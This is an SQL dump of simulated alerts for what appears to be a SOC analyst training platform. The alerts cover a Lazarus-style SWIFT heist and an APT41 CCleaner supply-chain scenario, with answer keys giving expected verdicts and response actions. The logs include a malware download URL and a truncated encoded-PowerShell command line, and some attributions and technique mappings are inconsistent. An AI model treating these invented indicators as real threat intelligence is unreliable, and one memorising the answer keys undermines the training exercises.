(818, 'Lateral Movement to SWIFT Servers', 'critical', 'Internal network logs', 'The attacker has successfully moved laterally through the network and is targeting the SWIFT servers. This is a critical milestone in their heist operation aiming to access and manipulate the SWIFT messaging system.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-03T14:22:17Z\",\"source_ip\":\"192.168.1.104\",\"destination_ip\":\"192.168.1.200\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"swift_admin\",\"filename\":\"malware_payload.bin\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"access_granted\",\"message\":\"Successful authentication to SWIFT server using compromised credentials.\",\"event_id\":\"4672\",\"log_type\":\"authentication_success\",\"process\":\"svchost.exe\"}', '2026-01-12 22:20:52', '2026-02-16 17:58:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.104\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Intelligence\",\"verdict\":\"internal\",\"details\":\"Known internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Intelligence\",\"verdict\":\"internal\",\"details\":\"Known SWIFT server IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"swift_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Intelligence\",\"verdict\":\"internal\",\"details\":\"Compromised internal user account.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lazarus Group malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(819, 'Manipulation of SWIFT Messages - Step 5', 'critical', 'SWIFT transaction logs', 'Lazarus Group has manipulated SWIFT messages to conceal fraudulent transactions totaling $951 million. The threat actors have executed a sophisticated operation, altering transaction details to evade detection.', 'Data Manipulation', 'T1565.002 - Data Manipulation: Transaction Manipulation', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-18T03:42:11Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user\":\"swift_operator\",\"transaction_id\":\"TXN123456789\",\"original_amount\":\"10,000 USD\",\"manipulated_amount\":\"951,000,000 USD\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malware_filename\":\"swiftmanip.exe\",\"comment\":\"Transaction details altered successfully\",\"alert_id\":\"ALERT5678\",\"status\":\"Fraudulent\"}', '2026-01-12 22:20:52', '2026-02-16 17:59:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group IP associated with financial attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal SWIFT server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"swiftmanip.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Executable used in SWIFT transaction manipulation.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"swift_operator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Employee Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user compromised by attackers.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(820, 'Exfiltration of Stolen Funds', 'critical', 'International bank transfer records', 'The attackers successfully exfiltrated a portion of the funds, transferring them to accounts in the Philippines for laundering. Indicators of compromise include suspicious international bank transfer activities and known malicious IP addresses linked to the Lazarus Group.', 'Data Exfiltration', 'T1048: Data Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"103.123.45.67\",\"destination_ip\":\"192.168.10.25\",\"transaction_id\":\"TXN123456789\",\"amount\":\"5,000,000 USD\",\"destination_country\":\"Philippines\",\"malware_hash\":\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\",\"suspected_tool\":\"WannaCry\",\"user\":\"internal_user@bank.com\",\"filename\":\"transfer_record.xlsx\",\"status\":\"Completed\"}', '2026-01-12 22:20:52', '2026-02-16 17:58:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"103.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with WannaCry malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"transfer_record.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"File used during unauthorized fund transfers.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.471Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"103.123.45.67\\\",\\\"destination_ip\\\":\\\"192.168.10.25\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"destination_country\\\":\\\"Philippines\\\",\\\"malware_hash\\\":\\\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\\\",\\\"suspected_tool\\\":\\\"WannaCry\\\",\\\"user\\\":\\\"internal_user@bank.com\\\",\\\"filename\\\":\\\"transfer_record.xlsx\\\",\\\"status\\\":\\\"Completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(821, 'Funds Laundered via Philippine Casinos - Step 7', 'critical', 'Financial transaction monitoring', 'In the final stage of the operation, the stolen funds are laundered through Philippine casinos, making the money difficult to trace. This step involves complex transactions designed to obscure the origin of the funds.', 'Money Laundering', 'T1041 - Exfiltration Over C2 Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-02T15:45:23Z\",\"transaction_id\":\"TRX789654123\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.160.75.123\",\"amount\":500000,\"currency\":\"USD\",\"destination_account\":\"PH-CAS-9876543210\",\"malware_hash\":\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\",\"associated_user\":\"j.smith@banklocal.com\",\"casinos_involved\":[\"ManilaCasino1\",\"CebuCasino2\"],\"attack_pattern\":\"Complex financial transactions\",\"notes\":\"Final laundering step observed with funds transferred to high-risk casino accounts.\"}', '2026-01-12 22:20:52', '2026-02-16 17:59:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used to initiate transaction.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.160.75.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Destination IP associated with high-risk gambling activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with custom Lazarus Group malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.smith@banklocal.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"suspicious\",\"details\":\"User account linked to anomalous transactions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.473Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T15:45:23Z\\\",\\\"transaction_id\\\":\\\"TRX789654123\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.160.75.123\\\",\\\"amount\\\":500000,\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"PH-CAS-9876543210\\\",\\\"malware_hash\\\":\\\"3d7f2b8a9ecf5b2a3f5b4c6d8f9e8c1d\\\",\\\"associated_user\\\":\\\"j.smith@banklocal.com\\\",\\\"casinos_involved\\\":[\\\"ManilaCasino1\\\",\\\"CebuCasino2\\\"],\\\"attack_pattern\\\":\\\"Complex financial transactions\\\",\\\"notes\\\":\\\"Final laundering step observed with funds transferred to high-risk casino accounts.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(822, 'Initial Compromise via CCleaner', 'high', 'Network Traffic Analysis', 'APT41 leveraged a supply chain attack by distributing a compromised version of CCleaner, a trusted software, to gain initial access to systems. The attack was identified through unusual network traffic patterns, confirming the presence of a known malicious hash associated with the CCleaner supply chain attack.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:34:29Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTP\",\"url\":\"http://malicious-update.com/ccleaner.exe\",\"downloaded_file_hash\":\"b2f5ff47436671b6e533d8dc3614845d\",\"username\":\"jdoe\",\"filename\":\"ccleaner.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"event_type\":\"download\",\"event_description\":\"User downloaded a compromised version of CCleaner.\"}', '2026-01-12 22:25:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelligencePlatform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous supply chain attacks by APT41.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b2f5ff47436671b6e533d8dc3614845d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a malicious version of CCleaner.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-update.com/ccleaner.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"URL known to distribute malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(823, 'Deployment of Second-Stage Payload', 'high', 'Endpoint Detection and Response', 'APT41 executed a second-stage payload on high-value technology companies, targeting specifically chosen entities for espionage.', 'Targeted Espionage', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"EID-20231001-5678\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"192.168.1.100\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"filename\":\"payload.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"host_ip\":\"10.0.0.25\",\"network_segment\":\"corporate\",\"action\":\"Executed\",\"description\":\"The second-stage payload was executed successfully on the targeted host.\"}', '2026-01-12 22:25:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by APT41.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with APT41 activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"suspicious\",\"details\":\"Unusual file execution detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc 